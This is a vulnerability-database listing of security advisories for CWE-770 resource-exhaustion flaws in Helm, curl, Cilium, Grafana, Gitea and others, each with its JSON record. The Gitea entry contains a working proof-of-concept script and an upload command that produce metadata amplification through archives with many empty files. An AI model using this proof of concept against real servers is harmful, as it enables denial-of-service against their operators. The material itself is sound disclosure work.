Common Weakness Enumeration

CWE-770

Allowed

Allocation of Resources Without Limits or Throttling

Abstraction: Base · Status: Incomplete

The product allocates a reusable resource or group of resources on behalf of an actor without imposing any intended restrictions on the size or number of resources that can be allocated.

3105 vulnerabilities reference this CWE, most recent first.

GHSA-9H84-QMV7-982P

Vulnerability from github – Published: 2025-08-14 00:01 – Updated: 2025-08-14 17:14
VLAI
Summary
Helm Charts with Specific JSON Schema Values Can Cause Memory Exhaustion
Details

A Helm contributor discovered that it was possible to craft a JSON Schema file in a manner which could cause Helm to use all available memory and have an out of memory (OOM) termination.

Impact

A malicious chart can point $ref in values.schema.json to a device (e.g. /dev/*) or other problem file which could cause Helm to use all available memory and have an out of memory (OOM) termination.

Patches

This issue has been resolved in Helm v3.18.5.

Workarounds

Make sure that all Helm charts that are being loaded into Helm doesn't have any reference of $ref pointing to /dev/zero.

References

Helm's security policy is spelled out in detail in our SECURITY document.

Credits

Disclosed by Jakub Ciolek at AlphaSense.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "helm.sh/helm/v3"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.18.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-55199"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-770"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-08-14T00:01:34Z",
    "nvd_published_at": "2025-08-14T00:15:27Z",
    "severity": "MODERATE"
  },
  "details": "A Helm contributor discovered that it was possible to craft a JSON Schema file in a manner which could cause Helm to use all available memory and have an out of memory (OOM) termination.\n\n### Impact\nA malicious chart can point `$ref` in _values.schema.json_ to a device (e.g. `/dev/*`) or other problem file which could cause Helm to use all available memory and have an out of memory (OOM) termination.\n\n### Patches\nThis issue has been resolved in Helm v3.18.5.\n\n### Workarounds\nMake sure that all Helm charts that are being loaded into Helm doesn\u0027t have any reference of `$ref` pointing to `/dev/zero`.\n\n### References\nHelm\u0027s security policy is spelled out in detail in our [SECURITY](https://github.com/helm/community/blob/master/SECURITY.md) document.\n\n### Credits\nDisclosed by Jakub Ciolek at AlphaSense.",
  "id": "GHSA-9h84-qmv7-982p",
  "modified": "2025-08-14T17:14:53Z",
  "published": "2025-08-14T00:01:34Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/helm/helm/security/advisories/GHSA-9h84-qmv7-982p"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-55199"
    },
    {
      "type": "WEB",
      "url": "https://github.com/helm/helm/commit/b78692c18f0fb38fe5ba4571a674de067a4c53a5"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/helm/helm"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Helm Charts with Specific JSON Schema Values Can Cause Memory Exhaustion"
}

GHSA-9HHR-R3J8-H675

Vulnerability from github – Published: 2022-07-08 00:00 – Updated: 2024-03-27 15:30
VLAI
Details

A malicious server can serve excessive amounts of Set-Cookie: headers in a HTTP response to curl and curl < 7.84.0 stores all of them. A sufficiently large amount of (big) cookies make subsequent HTTP requests to this, or other servers to which the cookies match, create requests that become larger than the threshold that curl uses internally to avoid sending crazy large requests (1048576 bytes) and instead returns an error.This denial state might remain for as long as the same cookies are kept, match and haven't expired. Due to cookie matching rules, a server on foo.example.com can set cookies that also would match for bar.example.com, making it it possible for a "sister server" to effectively cause a denial of service for a sibling site on the same second level domain using this method.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2022-32205"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-770"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-07-07T13:15:00Z",
    "severity": "MODERATE"
  },
  "details": "A malicious server can serve excessive amounts of `Set-Cookie:` headers in a HTTP response to curl and curl \u003c 7.84.0 stores all of them. A sufficiently large amount of (big) cookies make subsequent HTTP requests to this, or other servers to which the cookies match, create requests that become larger than the threshold that curl uses internally to avoid sending crazy large requests (1048576 bytes) and instead returns an error.This denial state might remain for as long as the same cookies are kept, match and haven\u0027t expired. Due to cookie matching rules, a server on `foo.example.com` can set cookies that also would match for `bar.example.com`, making it it possible for a \"sister server\" to effectively cause a denial of service for a sibling site on the same second level domain using this method.",
  "id": "GHSA-9hhr-r3j8-h675",
  "modified": "2024-03-27T15:30:36Z",
  "published": "2022-07-08T00:00:48Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-32205"
    },
    {
      "type": "WEB",
      "url": "https://hackerone.com/reports/1569946"
    },
    {
      "type": "WEB",
      "url": "https://cert-portal.siemens.com/productcert/pdf/ssa-333517.pdf"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/BEV6BR4MTI3CEWK2YU2HQZUW5FAS3FEY"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/BEV6BR4MTI3CEWK2YU2HQZUW5FAS3FEY"
    },
    {
      "type": "WEB",
      "url": "https://security.gentoo.org/glsa/202212-01"
    },
    {
      "type": "WEB",
      "url": "https://security.netapp.com/advisory/ntap-20220915-0003"
    },
    {
      "type": "WEB",
      "url": "https://support.apple.com/kb/HT213488"
    },
    {
      "type": "WEB",
      "url": "https://www.debian.org/security/2022/dsa-5197"
    },
    {
      "type": "WEB",
      "url": "http://seclists.org/fulldisclosure/2022/Oct/28"
    },
    {
      "type": "WEB",
      "url": "http://seclists.org/fulldisclosure/2022/Oct/41"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-9HV7-PGGJ-5944

Vulnerability from github – Published: 2022-05-13 01:46 – Updated: 2022-05-13 01:46
VLAI
Details

libplist allows attackers to cause a denial of service (large memory allocation and crash) via vectors involving an offset size of zero.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2017-5835"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-770"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2017-03-03T15:59:00Z",
    "severity": "HIGH"
  },
  "details": "libplist allows attackers to cause a denial of service (large memory allocation and crash) via vectors involving an offset size of zero.",
  "id": "GHSA-9hv7-pggj-5944",
  "modified": "2022-05-13T01:46:19Z",
  "published": "2022-05-13T01:46:19Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-5835"
    },
    {
      "type": "WEB",
      "url": "https://github.com/libimobiledevice/libplist/issues/88"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2020/04/msg00002.html"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2017/01/31/6"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2017/02/02/4"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/96022"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-9J5P-38C5-5684

Vulnerability from github – Published: 2025-12-09 18:30 – Updated: 2025-12-09 18:30
VLAI
Details

A security issue exists within 432ES-IG3 Series A, which affects GuardLink® EtherNet/IP Interface, resulting in denial-of-service. A manual power cycle is required to recover the device.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-9368"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-770"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-12-09T16:18:39Z",
    "severity": "HIGH"
  },
  "details": "A security issue exists within 432ES-IG3 Series A, which affects GuardLink\u00ae EtherNet/IP Interface, resulting in denial-of-service. A manual power cycle is required to recover the device.",
  "id": "GHSA-9j5p-38c5-5684",
  "modified": "2025-12-09T18:30:44Z",
  "published": "2025-12-09T18:30:44Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-9368"
    },
    {
      "type": "WEB",
      "url": "https://www.rockwellautomation.com/en-us/trust-center/security-advisories/advisory.SD1764.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-9JRH-5PWJ-WFMP

Vulnerability from github – Published: 2026-05-13 18:30 – Updated: 2026-05-13 18:30
VLAI
Details

The newly introduced RecordUsage D-Bus method https://gitlab.freedesktop.org/pwithnall/malcontent/-/blob/0.14.0/libmalcontent-timer/child-timer-service.c in malcontent-timerd allows arbitrary users in the system to slowly fill up disk space in /var/lib/malcontent-timerd

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-44931"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-770"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-05-13T13:01:55Z",
    "severity": "MODERATE"
  },
  "details": "The newly introduced  RecordUsage D-Bus method https://gitlab.freedesktop.org/pwithnall/malcontent/-/blob/0.14.0/libmalcontent-timer/child-timer-service.c  in\nmalcontent-timerd\u00a0allows arbitrary users in the system to slowly fill up disk space\nin /var/lib/malcontent-timerd",
  "id": "GHSA-9jrh-5pwj-wfmp",
  "modified": "2026-05-13T18:30:52Z",
  "published": "2026-05-13T18:30:52Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44931"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.suse.com/show_bug.cgi?id=CVE-2026-44931"
    },
    {
      "type": "WEB",
      "url": "https://security.opensuse.org/2026/05/11/malcontent-disk-space-dos.html"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2026/05/11/1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-9M5P-C77C-F9J7

Vulnerability from github – Published: 2025-01-22 18:08 – Updated: 2025-01-22 18:44
VLAI
Summary
DoS in Cilium agent DNS proxy from crafted DNS responses
Details

Impact

In a Kubernetes cluster where Cilium is configured to proxy DNS traffic, an attacker can crash Cilium agents by sending a crafted DNS response to workloads from outside the cluster.

For traffic that is allowed but without using DNS-based policy, the dataplane will continue to pass traffic as configured at the time of the DoS. For workloads that have DNS-based policy configured, existing connections may continue to operate, and new connections made without relying on DNS resolution may continue to be established, but new connections which rely on DNS resolution may be disrupted. Any configuration changes that affect the impacted agent may not be applied until the agent is able to restart.

Patches

This issue affects:

  • Cilium v1.14 between v1.14.0 and v1.14.17 inclusive
  • Cilium v1.15 between v1.15.0 and v1.15.11 inclusive
  • Cilium v1.16 between v1.16.0 and v1.16.4 inclusive

This issue is fixed in:

  • Cilium v1.14.18
  • Cilium v1.15.12
  • Cilium v1.16.5

Workarounds

There are no known workarounds to this issue.

Acknowledgements

The Cilium community has worked together with members of Isovalent and the Cisco Advanced Security Initiatives Group (ASIG) to prepare these mitigations. Special thanks to @kokelley-cisco for reporting this issue and @bimmlerd for the fix.

For more information

If you have any questions or comments about this advisory, please reach out on Slack.

If you think you have found a vulnerability affecting Cilium, we strongly encourage you to report it to our security mailing list at security@cilium.io. This is a private mailing list for the Cilium security team, and your report will be treated as top priority.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/cilium/cilium"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.14.0"
            },
            {
              "fixed": "1.14.18"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/cilium/cilium"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.15.0"
            },
            {
              "fixed": "1.15.12"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/cilium/cilium"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.16.0"
            },
            {
              "fixed": "1.16.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-23028"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-770"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-01-22T18:08:13Z",
    "nvd_published_at": "2025-01-22T17:15:13Z",
    "severity": "MODERATE"
  },
  "details": "### Impact\n\nIn a Kubernetes cluster where Cilium is configured to proxy DNS traffic, an attacker can crash Cilium agents by sending a crafted DNS response to workloads from outside the cluster.\n\nFor traffic that is allowed but without using DNS-based policy, the dataplane will continue to pass traffic as configured at the time of the DoS. For workloads that have DNS-based policy configured, existing connections may continue to operate, and new connections made without relying on DNS resolution may continue to be established, but new connections which rely on DNS resolution may be disrupted. Any configuration changes that affect the impacted agent may not be applied until the agent is able to  restart.\n\n### Patches\n\nThis issue affects:\n\n- Cilium v1.14 between v1.14.0 and v1.14.17 inclusive\n- Cilium v1.15 between v1.15.0 and v1.15.11 inclusive\n- Cilium v1.16 between v1.16.0 and v1.16.4 inclusive\n\nThis issue is fixed in:\n\n- Cilium v1.14.18\n- Cilium v1.15.12\n- Cilium v1.16.5\n\n### Workarounds\n\nThere are no known workarounds to this issue.\n\n### Acknowledgements\n\nThe Cilium community has worked together with members of Isovalent and the Cisco Advanced Security Initiatives Group (ASIG) to prepare these mitigations. Special thanks to @kokelley-cisco for reporting this issue and @bimmlerd for the fix.\n\n### For more information\n\nIf you have any questions or comments about this advisory, please reach out on [Slack](https://docs.cilium.io/en/latest/community/community/#slack).\n\nIf you think you have found a vulnerability affecting Cilium, we strongly encourage you to report it to our security mailing list at [security@cilium.io](mailto:security@cilium.io). This is a private mailing list for the Cilium security team, and your report will be treated as top priority.",
  "id": "GHSA-9m5p-c77c-f9j7",
  "modified": "2025-01-22T18:44:35Z",
  "published": "2025-01-22T18:08:13Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/cilium/cilium/security/advisories/GHSA-9m5p-c77c-f9j7"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-23028"
    },
    {
      "type": "WEB",
      "url": "https://github.com/cilium/cilium/pull/36252"
    },
    {
      "type": "WEB",
      "url": "https://github.com/cilium/cilium/commit/1971bc684b6b36703ebae0dd7539c623f988a257"
    },
    {
      "type": "WEB",
      "url": "https://github.com/cilium/cilium/commit/b1948e217a4212b81175d8bf763d0ef350fcc96c"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/cilium/cilium"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "DoS in Cilium agent DNS proxy from crafted DNS responses"
}

GHSA-9MFC-92XM-C5MF

Vulnerability from github – Published: 2026-05-13 21:32 – Updated: 2026-05-13 21:32
VLAI
Details

A request to the Grafana plugin resources endpoint can cause unbounded memory allocation by reading the entire request body into memory. An authenticated user can exploit this to trigger an out-of-memory condition, potentially causing a denial of service.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-28383"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-770"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-05-13T20:16:20Z",
    "severity": "MODERATE"
  },
  "details": "A request to the Grafana plugin resources endpoint can cause unbounded memory allocation by reading the entire request body into memory. An authenticated user can exploit this to trigger an out-of-memory condition, potentially causing a denial of service.",
  "id": "GHSA-9mfc-92xm-c5mf",
  "modified": "2026-05-13T21:32:06Z",
  "published": "2026-05-13T21:32:06Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-28383"
    },
    {
      "type": "WEB",
      "url": "https://grafana.com/security/security-advisories/cve-2026-28383"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-9MJV-W43G-3XJ4

Vulnerability from github – Published: 2026-05-13 21:32 – Updated: 2026-05-13 21:32
VLAI
Details

The Grafana Live push endpoint can be exploited to cause unbounded memory allocation by sending a large or streaming request body, potentially leading to out-of-memory conditions. An authenticated user with access to the Grafana Live API can trigger this issue.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-28376"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-770"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-05-13T20:16:19Z",
    "severity": "MODERATE"
  },
  "details": "The Grafana Live push endpoint can be exploited to cause unbounded memory allocation by sending a large or streaming request body, potentially leading to out-of-memory conditions. An authenticated user with access to the Grafana Live API can trigger this issue.",
  "id": "GHSA-9mjv-w43g-3xj4",
  "modified": "2026-05-13T21:32:06Z",
  "published": "2026-05-13T21:32:06Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-28376"
    },
    {
      "type": "WEB",
      "url": "https://grafana.com/security/security-advisories/cve-2026-28376"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-9MQ4-VWGF-J98G

Vulnerability from github – Published: 2026-01-15 18:31 – Updated: 2026-01-15 18:31
VLAI
Details

RDP Manager 4.9.9.3 contains a denial of service vulnerability in connection input fields that allows local attackers to crash the application. Attackers can add oversized entries in Verbindungsname and Server fields to permanently freeze and crash the software, potentially requiring full reinstallation.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2021-47771"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-770"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-01-15T16:16:08Z",
    "severity": "MODERATE"
  },
  "details": "RDP Manager 4.9.9.3 contains a denial of service vulnerability in connection input fields that allows local attackers to crash the application. Attackers can add oversized entries in Verbindungsname and Server fields to permanently freeze and crash the software, potentially requiring full reinstallation.",
  "id": "GHSA-9mq4-vwgf-j98g",
  "modified": "2026-01-15T18:31:31Z",
  "published": "2026-01-15T18:31:31Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-47771"
    },
    {
      "type": "WEB",
      "url": "https://web.archive.org/web/20210613025240/https://www.cinspiration.de/download.html"
    },
    {
      "type": "WEB",
      "url": "https://www.exploit-db.com/exploits/50484"
    },
    {
      "type": "WEB",
      "url": "https://www.vulnerability-lab.com/get_content.php?id=2309"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-9MQ6-MQJJ-C2C5

Vulnerability from github – Published: 2026-07-21 20:20 – Updated: 2026-07-21 20:20
VLAI
Summary
Gitea: Unbounded Arch package file metadata can cause resource amplification in Gitea package uploads
Details

Summary

Hello Gitea Security Team,

Thank you for your continued work on Gitea. I would like to responsibly report a potential availability-impact issue that I observed in Gitea’s Arch package registry implementation.

During local testing, I noticed that Gitea records non-dot regular file entries from an uploaded Arch package archive into package file metadata. I could not identify an explicit limit on the number of recorded file entries or on the cumulative size of recorded file names before this metadata is serialized, stored, and later used during repository index generation.

As a result, a relatively small compressed .pkg.tar.gz archive may lead to significantly larger server-side metadata processing and storage. I tested this only against a local self-hosted Gitea instance and have not tested this against any third-party or production service.

Suggested Severity

Suggested severity: Medium

Suggested CVSS 3.1 vector:

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L

Suggested CVSS score: 4.3

This assessment is only a suggestion. The issue appears to require an authenticated user with package publishing permission. However, once that condition is met, the behavior is reachable over the network, does not require user interaction, and may affect availability through amplified metadata parsing, serialization, database storage, and repository index generation.

Affected Component

  • Gitea package registry
  • Arch package upload endpoint
  • Arch package metadata parsing
  • Arch repository index generation

Technical Details

The upload flow appears to accept an Arch package archive, parse its contents, record file entries into package metadata, and later reuse that metadata when generating the Arch repository index.

The relevant flow appears to include:

  • routers/api/packages/arch/arch.go:46 accepts the upload stream.
  • routers/api/packages/arch/arch.go:55 copies the upload into a HashedBuffer.
  • routers/api/packages/arch/arch.go:62 parses the archive with arch_module.ParsePackage.
  • modules/packages/arch/metadata.go:149 appends each non-dot regular tar entry name to files.
  • modules/packages/arch/metadata.go:158 stores the full list as p.FileMetadata.Files.
  • routers/api/packages/arch/arch.go:77 JSON-marshals the file metadata.
  • routers/api/packages/arch/arch.go:143 persists the metadata as arch_module.PropertyMetadata.
  • services/packages/arch/repository.go:302 deserializes the metadata during index generation.
  • services/packages/arch/repository.go:365 joins the full file list into the generated files entry.

From my review, the package upload size limit can reduce the maximum compressed archive size that is accepted, but it does not appear to directly limit the number of file entries or the expanded metadata size for archives that remain below the compressed upload limit.

Impact

An authenticated user with permission to publish Arch packages may be able to upload an archive containing a valid .PKGINFO file and a large number of empty regular file entries.

In my local test environment, Gitea accepted such packages and stored the full file list as package metadata. This caused the server-side metadata size and generated repository files index content to become much larger than the compressed upload size.

The practical impact appears to be resource amplification affecting:

  • CPU usage during parsing and index generation
  • memory usage during metadata handling
  • database storage due to large serialized metadata
  • repository index generation size and processing time

This seems most relevant for instances where untrusted or semi-trusted users are allowed to publish packages.

Local Validation Results

I tested this only on a local self-hosted Gitea instance.

A 470,403 byte archive containing 100,000 empty file entries was accepted by the Arch package upload endpoint. It produced a 4,500,112 byte arch.metadata database property and a generated repository index whose files member contained 100,001 lines.

A larger 2,349,767 byte archive containing 500,000 empty file entries was also accepted in the default configuration. It produced a 22,500,112 byte arch.metadata database property and a generated repository files member with 500,001 lines.

Proof of Concept

The following proof of concept is intended only for a local self-hosted test instance.

Save the following script as generate_arch_metadata_test_package.py:

#!/usr/bin/env python3
from __future__ import annotations

import argparse
import gzip
import io
import tarfile
from pathlib import Path

PKGINFO = """pkgname = gitea-metadata-test
pkgbase = gitea-metadata-test
pkgver = 1.0.0-1
pkgdesc = Local metadata scaling test package
url = https://example.invalid/
packager = local test
arch = x86_64
license = MIT
builddate = 1714521600
size = 0
"""

def add_bytes(tar: tarfile.TarFile, name: str, data: bytes) -> None:
    info = tarfile.TarInfo(name=name)
    info.size = len(data)
    info.mode = 0o644
    tar.addfile(info, io.BytesIO(data))

def build_archive(output: Path, entries: int, name_width: int) -> None:
    output.parent.mkdir(parents=True, exist_ok=True)
    with output.open("wb") as raw:
        with gzip.GzipFile(fileobj=raw, mode="wb", compresslevel=9, mtime=0) as gz:
            with tarfile.open(fileobj=gz, mode="w|") as tar:
                add_bytes(tar, ".PKGINFO", PKGINFO.encode("utf-8"))
                for i in range(entries):
                    name = f"usr/share/gitea-metadata-test/{i:0{name_width}d}.txt"
                    add_bytes(tar, name, b"")

def main() -> None:
    parser = argparse.ArgumentParser(
        description="Generate a local Arch package test archive with many empty file entries.",
    )
    parser.add_argument("--entries", type=int, default=100000)
    parser.add_argument("--name-width", type=int, default=8)
    parser.add_argument("--output", type=Path, default=Path("gitea-metadata-test.pkg.tar.gz"))
    args = parser.parse_args()

    if args.entries < 1:
        raise SystemExit("--entries must be at least 1")
    if args.name_width < 1:
        raise SystemExit("--name-width must be at least 1")

    build_archive(args.output, args.entries, args.name_width)
    print(f"wrote {args.output} with {args.entries} regular file entries")

if __name__ == "__main__":
    main()

Generate a test archive:

python3 generate_arch_metadata_test_package.py \
  --entries 100000 \
  --output gitea-metadata-test-100k.pkg.tar.gz

Upload it to a local Gitea test instance with package publishing enabled:

curl -X PUT \
  -H "Authorization: token <TOKEN>" \
  --upload-file gitea-metadata-test-100k.pkg.tar.gz \
  http://127.0.0.1:3007/api/packages/packagebot/arch/bigrepo

Observed local result:

HTTP_STATUS=201
TIME_TOTAL=0.482909
SIZE_UPLOAD=470403

Additional Validation

Parser-only measurements:

Entries Compressed archive bytes Parsed file entries Metadata JSON bytes Joined files bytes Parse time
25 477 25 1,237 1,074 0 ms
10,000 47,461 10,000 450,112 429,999 25 ms
100,000 470,403 100,000 4,500,112 4,299,999 264 ms

Local Gitea upload measurements:

Entries Upload HTTP status Upload time Uploaded bytes Stored metadata bytes Stored file count Repository index blob bytes Extracted files lines
10,000 201 0.243 s 47,461 450,112 10,000 27,267 10,001
100,000 201 0.483 s 470,403 4,500,112 100,000 262,301 100,001
500,000 201 1.798 s 2,349,767 22,500,112 500,000 1,306,465 500,001

Package Size Limit Behavior

I also tested LIMIT_SIZE_ARCH=1MiB with a non-admin package publisher.

Entries Upload bytes Upload HTTP status Stored metadata bytes Notes
100,000 470,403 201 4,500,112 Accepted because the compressed upload was below the package size limit.
500,000 2,349,767 403 not stored Rejected with maximum allowed package type size exceeded.

This suggests that the compressed package size limit helps reduce exposure, but it may not fully address metadata growth for highly compressible archives that stay below the configured upload limit.

Expected Behavior

Gitea should ideally reject package archives whose expanded package metadata would require excessive server-side resources. It would be safer if this validation happened before the file list is serialized, persisted, or used during repository index generation.

Suggested Remediation

One possible mitigation would be to add explicit bounds during Arch package metadata parsing before the file list is stored or used for repository index generation.

Potential controls could include:

  • limiting the maximum number of regular file entries recorded in FileMetadata.Files
  • limiting the cumulative byte length of recorded file names
  • returning a clear 4xx validation error when an uploaded package exceeds those limits
  • optionally making these limits configurable for instance operators
  • adding regression tests for excessive file-entry count and excessive cumulative file-name size

For example, the validation could follow this general shape:

const (
    maxArchMetadataFiles = 10000
    maxArchMetadataFileNameBytes = 1 << 20
)

var totalFileNameBytes int

// inside the tar entry loop
if !strings.HasPrefix(filename, ".") {
    totalFileNameBytes += len(hd.Name)
    if len(files) >= maxArchMetadataFiles || totalFileNameBytes > maxArchMetadataFileNameBytes {
        return nil, util.NewInvalidArgumentErrorf("arch package file metadata exceeds limit")
    }
    files = append(files, hd.Name)
}

This is only a suggested direction, and I understand the project may prefer a different threshold or design depending on compatibility and package registry requirements.

Closing

Thank you for taking the time to review this report. Please let me know if any additional information would be helpful, such as the local test environment details, database inspection steps, or additional measurements with different limits.

I appreciate your work on maintaining Gitea and would be happy to help clarify or retest any proposed fix.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "code.gitea.io/gitea"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.27.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-59763"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-770"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-21T20:20:49Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nHello Gitea Security Team,\n\nThank you for your continued work on Gitea. I would like to responsibly report a potential availability-impact issue that I observed in Gitea\u2019s Arch package registry implementation.\n\nDuring local testing, I noticed that Gitea records non-dot regular file entries from an uploaded Arch package archive into package file metadata. I could not identify an explicit limit on the number of recorded file entries or on the cumulative size of recorded file names before this metadata is serialized, stored, and later used during repository index generation.\n\nAs a result, a relatively small compressed `.pkg.tar.gz` archive may lead to significantly larger server-side metadata processing and storage. I tested this only against a local self-hosted Gitea instance and have not tested this against any third-party or production service.\n\n## Suggested Severity\n\nSuggested severity: Medium\n\nSuggested CVSS 3.1 vector:\n\n`CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L`\n\nSuggested CVSS score: 4.3\n\nThis assessment is only a suggestion. The issue appears to require an authenticated user with package publishing permission. However, once that condition is met, the behavior is reachable over the network, does not require user interaction, and may affect availability through amplified metadata parsing, serialization, database storage, and repository index generation.\n\n## Affected Component\n\n* Gitea package registry\n* Arch package upload endpoint\n* Arch package metadata parsing\n* Arch repository index generation\n\n## Technical Details\n\nThe upload flow appears to accept an Arch package archive, parse its contents, record file entries into package metadata, and later reuse that metadata when generating the Arch repository index.\n\nThe relevant flow appears to include:\n\n* 